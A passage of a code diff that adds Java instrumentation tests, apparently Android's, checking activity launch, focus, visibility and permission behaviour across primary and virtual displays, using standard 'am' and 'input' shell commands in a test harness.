+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the primary display and resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+    }
+
+    /**
+     * Tests launching a non-resizeable activity on virtual display while split-screen is active
+     * on the primary display. It should land on the primary display and dismiss docked stack.
+     */
+    @Test
+    public void testLaunchNonResizeableActivityWithSplitScreen() throws Exception {
+        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+        // Start launching activity.
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        // Create new virtual display.
+        final DisplayState newDisplay =
+                new VirtualDisplayBuilder(this).setLaunchInSplitScreen(true).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                NON_RESIZEABLE_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the primary display and resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+    }
+
+    /**
+     * Tests moving a non-resizeable activity to a virtual display. It should land on the default
+     * display.
+     */
+    @Test
+    public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        // Launch a non-resizeable activity on a primary display.
+        launchActivityInNewTask(NON_RESIZEABLE_ACTIVITY_NAME);
+        // Launch a resizeable activity on new secondary display to create a new stack there.
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+
+        // Try to move the non-resizeable activity to new secondary display.
+        moveActivityToStack(NON_RESIZEABLE_ACTIVITY_NAME, frontStackId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                NON_RESIZEABLE_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the primary display and resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+    }
+
+    /**
+     * Tests launching a non-resizeable activity on virtual display from activity there. It should
+     * land on the secondary display based on the resizeability of the root activity of the task.
+     */
+    @Test
+    public void testLaunchNonResizeableActivityFromSecondaryDisplaySameTask() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                BROADCAST_RECEIVER_ACTIVITY);
+
+        // Check that launching activity is on the secondary display.
+        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the secondary display and resumed",
+                getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
+
+        // Launch non-resizeable activity from secondary display.
+        executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+                + "--ez new_task true --es target_activity " + NON_RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
+
+        // Check that non-resizeable activity is on the secondary display, because of the resizeable
+        // root of the task.
+        frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the primary display and resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+    }
+
+    /**
+     * Tests launching a non-resizeable activity on virtual display from activity there. It should
+     * land on some different suitable display (usually - on the default one).
+     */
+    @Test
+    public void testLaunchNonResizeableActivityFromSecondaryDisplayNewTask() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                LAUNCHING_ACTIVITY);
+
+        // Check that launching activity is on the secondary display.
+        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the secondary display and resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
+
+        // Launch non-resizeable activity from secondary display.
+        getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME)
+                .setNewTask(true).setMultipleTask(true).execute();
+
+        // Check that non-resizeable activity is on the primary display.
+        frontStackId = mAmWmState.getAmState().getFocusedStackId();
+        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+        assertFalse("Launched activity must be on a different display",
+                newDisplay.mDisplayId == frontStack.mDisplayId);
+        assertEquals("Launched activity must be resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on a just launched activity", frontStackId);
+    }
+
+    /**
+     * Tests launching an activity on a virtual display without special permission must not be
+     * allowed.
+     */
+    @Test
+    public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        final String logSeparator = clearLogcat();
+
+        // Try to launch an activity and check it security exception was triggered.
+        final String broadcastTarget = "-a " + SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION"
+                + " -p " + SECOND_PACKAGE_NAME;
+        final String includeStoppedPackagesFlag = " -f 0x00000020";
+        executeShellCommand("am broadcast " + broadcastTarget
+                + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+                + " --es package_name " + componentName
+                + " --ei display_id " + newDisplay.mDisplayId
+                + includeStoppedPackagesFlag);
+
+        assertSecurityException("LaunchBroadcastReceiver", logSeparator);
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        assertFalse("Restricted activity must not be launched",
+                mAmWmState.getAmState().containsActivity(TEST_ACTIVITY_NAME));
+    }
+
+    /**
+     * Tests launching an activity on a virtual display without special permission must be allowed
+     * for activities with same UID.
+     */
+    @Test
+    public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Try to launch an activity and check it security exception was triggered.
+        final String broadcastTarget = "-a " + componentName + ".LAUNCH_BROADCAST_ACTION"
+                + " -p " + componentName;
+        executeShellCommand("am broadcast " + broadcastTarget
+                + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+                + " --es package_name " + componentName
+                + " --ei display_id " + newDisplay.mDisplayId);
+
+        mAmWmState.waitForValidState(TEST_ACTIVITY_NAME);
+
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack = mAmWmState.getAmState()
+                .getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+        assertEquals("Activity launched by owner must be on external display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /**
+     * Tests launching an activity on virtual display and then launching another activity via shell
+     * command and without specifying the display id - the second activity must appear on the
+     * primary display.
+     */
+    @Presubmit
+    @Test
+    public void testConsequentLaunchActivity() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+
+        // Launch second activity without specifying display.
+        launchActivity(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(LAUNCHING_ACTIVITY), frontStack.mResumedActivity);
+        assertEquals("Front stack must be on primary display",
+                DEFAULT_DISPLAY_ID, frontStack.mDisplayId);
+    }
+
+    /**
+     * Tests launching an activity on simulated display and then launching another activity from the
+     * first one - it must appear on the secondary display, because it was launched from there.
+     */
+    @Presubmit
+    @Test
+    public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+                LAUNCHING_ACTIVITY);
+
+        // Launch second activity from app on secondary display without specifying display id.
+        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+        // Check that activity is launched in focused stack on external display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+    }
+
+    /**
+     * Tests launching an activity on virtual display and then launching another activity from the
+     * first one - it must appear on the secondary display, because it was launched from there.
+     */
+    @Test
+    public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+            LAUNCHING_ACTIVITY);
+
+        // Launch second activity from app on secondary display without specifying display id.
+        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
+        mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+
+        // Check that activity is launched in focused stack on external display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+            = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+            getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+    }
+
+    /**
+     * Tests launching an activity on virtual display and then launching another activity from the
+     * first one with specifying the target display - it must appear on the secondary display.
+     */
+    @Test
+    public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+            LAUNCHING_ACTIVITY);
+
+        // Launch second activity from app on secondary display specifying same display id.
+        getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NAME)
+            .setTargetPackage(SECOND_PACKAGE_NAME)
+            .setDisplayId(newDisplay.mDisplayId).execute();
+        mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+
+        // Check that activity is launched in focused stack on external display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", SECOND_PACKAGE_NAME,
+            SECOND_ACTIVITY_NAME);
+        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        ActivityManagerState.ActivityStack frontStack
+            = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+            getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
+            frontStack.mResumedActivity);
+
+        // Launch other activity with different uid and check if it has launched successfully.
+        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+        getLaunchActivityBuilder().setUseBroadcastReceiver(SECOND_PACKAGE_NAME, broadcastAction)
+                .setDisplayId(newDisplay.mDisplayId)
+                .setTargetActivityName(THIRD_ACTIVITY_NAME)
+                .setTargetPackage(THIRD_PACKAGE_NAME).execute();
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME,
+            new WaitForValidActivityState.Builder(THIRD_ACTIVITY_NAME).build());
+
+        // Check that activity is launched in focused stack on external display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", THIRD_PACKAGE_NAME,
+            THIRD_ACTIVITY_NAME);
+        frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+            getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
+            frontStack.mResumedActivity);
+    }
+
+    /**
+     * Tests launching an activity on virtual display and then launching another activity that
+     * doesn't allow embedding - it should fail with security exception.
+     */
+    @Test
+    public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+            LAUNCHING_ACTIVITY);
+
+        final String logSeparator = clearLogcat();
+
+        // Launch second activity from app on secondary display specifying same display id.
+        getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NO_EMBEDDING_NAME)
+            .setTargetPackage(SECOND_PACKAGE_NAME)
+            .setDisplayId(newDisplay.mDisplayId).execute();
+
+        assertSecurityException("ActivityLauncher", logSeparator);
+    }
+
+    /**
+     * Tests launching an activity to secondary display from activity on primary display.
+     */
+    @Test
+    public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Start launching activity.
+        launchActivity(LAUNCHING_ACTIVITY);
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        // Launch activity on secondary display from the app on primary display.
+        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME)
+                .setDisplayId(newDisplay.mDisplayId).execute();
+
+        // Check that activity is launched on external display.
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+    }
+
+    /**
+     * Tests launching activities on secondary and then on primary display to see if the stack
+     * visibility is not affected.
+     */
+    @Presubmit
+    @Test
+    public void testLaunchActivitiesAffectsVisibility() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Start launching activity.
+        launchActivity(LAUNCHING_ACTIVITY);
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activity on primary display and check if it doesn't affect activity on secondary
+        // display.
+        getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
+        mAmWmState.waitForValidState(RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+    }
+
+    /**
+     * Test that move-task works when moving between displays.
+     */
+    @Presubmit
+    @Test
+    public void testMoveTaskBetweenDisplays() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display", TEST_ACTIVITY_NAME);
+        int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Focused stack must be on secondary display",
+                newDisplay.mDisplayId, focusedStack.mDisplayId);
+
+        // Move activity from secondary display to primary.
+        moveActivityToStack(TEST_ACTIVITY_NAME, defaultDisplayStackId);
+        mAmWmState.waitForFocusedStack(defaultDisplayStackId);
+        mAmWmState.assertFocusedActivity("Focus must be on moved activity", TEST_ACTIVITY_NAME);
+        focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Focus must return to primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+    }
+
+    /**
+     * Tests launching activities on secondary display and then removing it to see if stack focus
+     * is moved correctly.
+     * This version launches virtual display creator to fullscreen stack in split-screen.
+     */
+    // TODO(b/69573940): Add back to presubmit
+    @Test
+    public void testStackFocusSwitchOnDisplayRemoved() throws Exception {
+        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+        // Start launching activity into docked stack.
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+        tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+    }
+
+    /**
+     * Tests launching activities on secondary display and then removing it to see if stack focus
+     * is moved correctly.
+     * This version launches virtual display creator to docked stack in split-screen.
+     */
+    @Test
+    public void testStackFocusSwitchOnDisplayRemoved2() throws Exception {
+        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+        // Setup split-screen.
+        launchActivityInDockStack(RESIZEABLE_ACTIVITY_NAME);
+
+        // Start launching activity into fullscreen stack.
+        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+        tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+    }
+
+    /**
+     * Tests launching activities on secondary display and then removing it to see if stack focus
+     * is moved correctly.
+     * This version works without split-screen.
+     */
+    @Test
+    public void testStackFocusSwitchOnDisplayRemoved3() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Start an activity on default display to determine default stack.
+        launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+        final int focusedStackWindowingMode =
+                mAmWmState.getAmState().getFrontStackWindowingMode(DEFAULT_DISPLAY_ID);
+        // Finish probing activity.
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+        tryCreatingAndRemovingDisplayWithActivity(
+                false /* splitScreen */, focusedStackWindowingMode);
+    }
+
+    /**
+     * Create a virtual display, launch a test activity there, destroy the display and check if test
+     * activity is moved to a stack on the default display.
+     */
+    private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int windowingMode)
+            throws Exception {
+        // Create new virtual display.
+        final VirtualDisplayBuilder builder = new VirtualDisplayBuilder(this)
+                .setPublicDisplay(true);
+        if (splitScreen) {
+            builder.setLaunchInSplitScreen(true);
+        }
+        final DisplayState newDisplay = builder.build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        if (splitScreen) {
+            mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+        }
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // Destroy virtual display.
+        destroyVirtualDisplays();
+        mAmWmState.waitForValidState(TEST_ACTIVITY_NAME, windowingMode, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertSanity();
+        mAmWmState.assertValidBounds(true /* compareTaskAndStackBounds */);
+
+        // Check if the focus is switched back to primary display.
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertFocusedStack(
+                "Default stack on primary display must be focused after display removed",
+                windowingMode, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertFocusedActivity(
+                "Focus must be switched back to activity on primary display",
+                TEST_ACTIVITY_NAME);
+    }
+
+    /**
+     * Tests launching activities on secondary display and then removing it to see if stack focus
+     * is moved correctly.
+     */
+    @Test
+    public void testStackFocusSwitchOnStackEmptied() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                BROADCAST_RECEIVER_ACTIVITY);
+
+        // Lock the device, so that activity containers will be detached.
+        sleepDevice();
+
+        // Finish activity on secondary display.
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+        // Unlock and check if the focus is switched back to primary display.
+        wakeUpAndUnlockDevice();
+        mAmWmState.waitForFocusedStack(focusedStackId);
+        mAmWmState.waitForValidState(VIRTUAL_DISPLAY_ACTIVITY);
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+                VIRTUAL_DISPLAY_ACTIVITY);
+    }
+
+    /**
+     * Tests that input events on the primary display take focus from the virtual display.
+     */
+    @Test
+    public void testStackFocusSwitchOnTouchEvent() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
+        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+                VIRTUAL_DISPLAY_ACTIVITY);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+
+        final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+        final int width = displayMetrics.getWidth();
+        final int height = displayMetrics.getHeight();
+        executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
+        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+                VIRTUAL_DISPLAY_ACTIVITY);
+    }
+
+    /** Test that shell is allowed to launch on secondary displays. */
+    @Test
+    public void testPermissionLaunchFromShell() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                TEST_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        // Launch other activity with different uid and check it is launched on dynamic stack on
+        // secondary display.
+        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME
+                + " --display " + newDisplay.mDisplayId;
+        executeShellCommand(startCmd);
+
+        mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+                new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", SECOND_PACKAGE_NAME,
+                SECOND_ACTIVITY_NAME);
+        assertEquals("Activity launched by system must be on external display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /** Test that launching from app that is on external display is allowed. */
+    @Test
+    public void testPermissionLaunchFromAppOnSecondary() throws Exception {
